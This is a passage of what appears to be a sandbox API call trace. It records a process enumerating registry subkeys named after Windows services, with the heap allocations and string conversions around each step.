RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.762] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.762] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.762] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.762] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.762] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0224.762] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.763] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.763] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.763] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.763] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.763] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0224.763] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.764] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.764] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.764] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0224.764] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.764] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.765] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.765] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.765] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.765] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0224.765] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.765] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.766] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.766] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.766] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.766] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.766] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0224.766] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1ad8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.767] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.767] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.767] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0224.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.767] 